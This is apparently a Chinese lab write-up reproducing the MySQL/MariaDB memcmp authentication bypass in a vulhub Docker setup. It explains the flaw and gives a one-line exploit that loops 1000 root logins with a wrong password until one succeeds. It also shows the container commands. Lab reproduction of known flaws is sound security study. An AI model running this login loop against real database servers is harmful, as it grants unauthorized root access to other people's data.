漏洞简介:
出现在mysql/mariaDb上的一个身份绕过漏洞,在客户端进行身份验证时输入值会与验证密码对比由于menmcmo()得的不正确处理导致用户在密码错误是也可以成功登录。因为memcmp()在处理时会返回-128~127的有符号值(即256种情况),但是当用户再使用某些不安全的优化时会导致函数可能返回超出此范围的数值,进而导致即便用户输入的错误密码也会成功登录(账户名正确);因为身份验证时回生成不同的哈希值,因此使用一个密码成功登录的几率为1/256.
实验中我们使用exp在对应版本上的服务进行登陆时,即便密码错误也能成功以root用户登录。
搭建环境
- vulhub环境
- kali攻击机 :
- ubuntu 搭建docker环境
适用版本
-
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
-
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
漏洞EXP:
for i in `seq 1 1000`;do mysql -uroot -pwrong -hlocalhost -P3306;done
漏洞复现
进入漏洞目录下启动环境:
#docker-compose up -d 启动容器并放入后台运行
#docker-compose ps 查看当前与运行的容器实例
在kali上运行exp,成功登录拿到mysql的交互shell
查看一下当前连接用户:select current_user();